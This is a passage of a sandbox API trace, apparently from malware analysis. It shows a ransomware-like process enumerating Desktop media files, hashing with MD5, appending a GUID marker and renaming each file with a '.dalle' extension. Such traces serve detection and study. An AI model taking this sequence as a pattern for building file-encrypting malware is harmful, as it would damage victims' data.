pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.026] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.026] GetLastError () returned 0x0 [0120.026] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.026] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0120.026] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9a3b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.026] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.026] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.026] CloseHandle (hObject=0x618) returned 1 [0120.027] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D_F4Y77Iv__EabK.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d_f4y77iv__eabk.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D_F4Y77Iv__EabK.m4a.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d_f4y77iv__eabk.m4a.dalle")) returned 1 [0120.030] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc445120, ftCreationTime.dwHighDateTime=0x1d4c54f, ftLastAccessTime.dwLowDateTime=0x970b5eb0, ftLastAccessTime.dwHighDateTime=0x1d4d5a2, ftLastWriteTime.dwLowDateTime=0x970b5eb0, ftLastWriteTime.dwHighDateTime=0x1d4d5a2, nFileSizeHigh=0x0, nFileSizeLow=0xfddf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Emq6vD0ivZ4XdEfJ.swf", cAlternateFileName="EMQ6VD~1.SWF")) returned 1 [0120.030] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Emq6vD0ivZ4XdEfJ.swf") returned=".swf" [0120.030] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Emq6vD0ivZ4XdEfJ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\emq6vd0ivz4xdefj.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.030] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=64991) returned 1 [0120.030] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.031] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xfdb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.031] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.033] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xfddf, lpOverlapped=0x0) returned 1 [0120.034] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.034] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.034] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.034] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0120.035] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.035] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.035] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.035] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.035] GetLastError () returned 0x0 [0120.035] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.035] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0120.035] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xfddf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.035] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.035] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.035] CloseHandle (hObject=0x618) returned 1 [0120.036] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Emq6vD0ivZ4XdEfJ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\emq6vd0ivz4xdefj.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Emq6vD0ivZ4XdEfJ.swf.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\emq6vd0ivz4xdefj.swf.dalle")) returned 1 [0120.038] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb1a6770, ftCreationTime.dwHighDateTime=0x1d4d390, ftLastAccessTime.dwLowDateTime=0xce0530f0, ftLastAccessTime.dwHighDateTime=0x1d4c8cb, ftLastWriteTime.dwLowDateTime=0xce0530f0, ftLastWriteTime.dwHighDateTime=0x1d4c8cb, nFileSizeHigh=0x0, nFileSizeLow=0x17551, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eX-YvFXQkLn0gu2V.jpg", cAlternateFileName="EX-YVF~1.JPG")) returned 1 [0120.038] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eX-YvFXQkLn0gu2V.jpg") returned=".jpg" [0120.038] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eX-YvFXQkLn0gu2V.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ex-yvfxqkln0gu2v.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.038] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=95569) returned 1 [0120.038] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.039] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1752b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.039] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.040] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x17551, lpOverlapped=0x0) returned 1 [0120.040] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.040] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.040] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.040] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0120.041] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.041] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.041] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.041] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.041] GetLastError () returned 0x0 [0120.041] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.041] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0120.042] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x17551, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.042] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.042] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.042] CloseHandle (hObject=0x618) returned 1 [0120.043] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eX-YvFXQkLn0gu2V.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ex-yvfxqkln0gu2v.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eX-YvFXQkLn0gu2V.jpg.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ex-yvfxqkln0gu2v.jpg.dalle")) returned 1 [0120.045] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c78d400, ftCreationTime.dwHighDateTime=0x1d4cd79, ftLastAccessTime.dwLowDateTime=0xe030edc0, ftLastAccessTime.dwHighDateTime=0x1d4d52b, ftLastWriteTime.dwLowDateTime=0xe030edc0, ftLastWriteTime.dwHighDateTime=0x1d4d52b, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ffTf6.gif", cAlternateFileName="")) returned 1 [0120.045] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ffTf6.gif") returned=".gif" [0120.045] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ffTf6.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fftf6.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.045] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=3062) returned 1 [0120.045] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.046] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xbd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.046] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.047] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xbf6, lpOverlapped=0x0) returned 1 [0120.047] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.047] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.047] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.047] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.047] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.047] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.048] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.048] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.048] GetLastError () returned 0x0 [0120.048] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.048] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.048] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xbf6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.048] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.048] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.048] CloseHandle (hObject=0x618) returned 1 [0120.049] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ffTf6.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fftf6.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ffTf6.gif.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fftf6.gif.dalle")) returned 1 [0120.050] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7549640, ftCreationTime.dwHighDateTime=0x1d4c7df, ftLastAccessTime.dwLowDateTime=0x29c83fa0, ftLastAccessTime.dwHighDateTime=0x1d4d32f, ftLastWriteTime.dwLowDateTime=0x29c83fa0, ftLastWriteTime.dwHighDateTime=0x1d4d32f, nFileSizeHigh=0x0, nFileSizeLow=0x43c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HS00PnIq2P8Kp.gif", cAlternateFileName="HS00PN~1.GIF")) returned 1 [0120.051] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HS00PnIq2P8Kp.gif") returned=".gif" [0120.051] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HS00PnIq2P8Kp.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hs00pniq2p8kp.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.051] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=17345) returned 1 [0120.051] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.052] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x439b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.052] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.052] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x43c1, lpOverlapped=0x0) returned 1 [0120.053] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.053] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.053] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.053] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.053] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.053] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.053] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.054] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.054] GetLastError () returned 0x0 [0120.054] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.054] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.054] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x43c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.054] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.054] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.054] CloseHandle (hObject=0x618) returned 1 [0120.055] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HS00PnIq2P8Kp.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hs00pniq2p8kp.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HS00PnIq2P8Kp.gif.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hs00pniq2p8kp.gif.dalle")) returned 1 [0120.056] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3404ac90, ftCreationTime.dwHighDateTime=0x1d4d282, ftLastAccessTime.dwLowDateTime=0xa48978e0, ftLastAccessTime.dwHighDateTime=0x1d4cef1, ftLastWriteTime.dwLowDateTime=0xa48978e0, ftLastWriteTime.dwHighDateTime=0x1d4cef1, nFileSizeHigh=0x0, nFileSizeLow=0x13361, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HZMv21_uk.jpg", cAlternateFileName="HZMV21~1.JPG")) returned 1 [0120.056] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HZMv21_uk.jpg") returned=".jpg" [0120.056] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HZMv21_uk.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hzmv21_uk.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.056] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=78689) returned 1 [0120.056] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.057] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1333b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.057] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.058] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x13361, lpOverlapped=0x0) returned 1 [0120.058] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.058] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.058] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.058] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.059] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.059] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.059] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.059] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.059] GetLastError () returned 0x0 [0120.059] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.059] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.060] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13361, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.060] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.060] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.060] CloseHandle (hObject=0x618) returned 1 [0120.061] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HZMv21_uk.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hzmv21_uk.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HZMv21_uk.jpg.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hzmv21_uk.jpg.dalle")) returned 1 [0120.062] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c64f670, ftCreationTime.dwHighDateTime=0x1d4ceb5, ftLastAccessTime.dwLowDateTime=0x1c20b090, ftLastAccessTime.dwHighDateTime=0x1d4c6bd, ftLastWriteTime.dwLowDateTime=0x1c20b090, ftLastWriteTime.dwHighDateTime=0x1d4c6bd, nFileSizeHigh=0x0, nFileSizeLow=0x11d9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iN mvP_WadxDj6.m4a", cAlternateFileName="INMVP_~1.M4A")) returned 1 [0120.062] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN mvP_WadxDj6.m4a") returned=".m4a" [0120.063] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN mvP_WadxDj6.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\in mvp_wadxdj6.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.063] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=73116) returned 1 [0120.063] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.064] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x11d76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.064] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.065] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x11d9c, lpOverlapped=0x0) returned 1 [0120.066] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.066] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.066] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.066] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0120.067] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.067] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.067] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.067] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.067] GetLastError () returned 0x0 [0120.067] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.067] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0120.068] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x11d9c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.068] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.068] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.068] CloseHandle (hObject=0x618) returned 1 [0120.069] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN 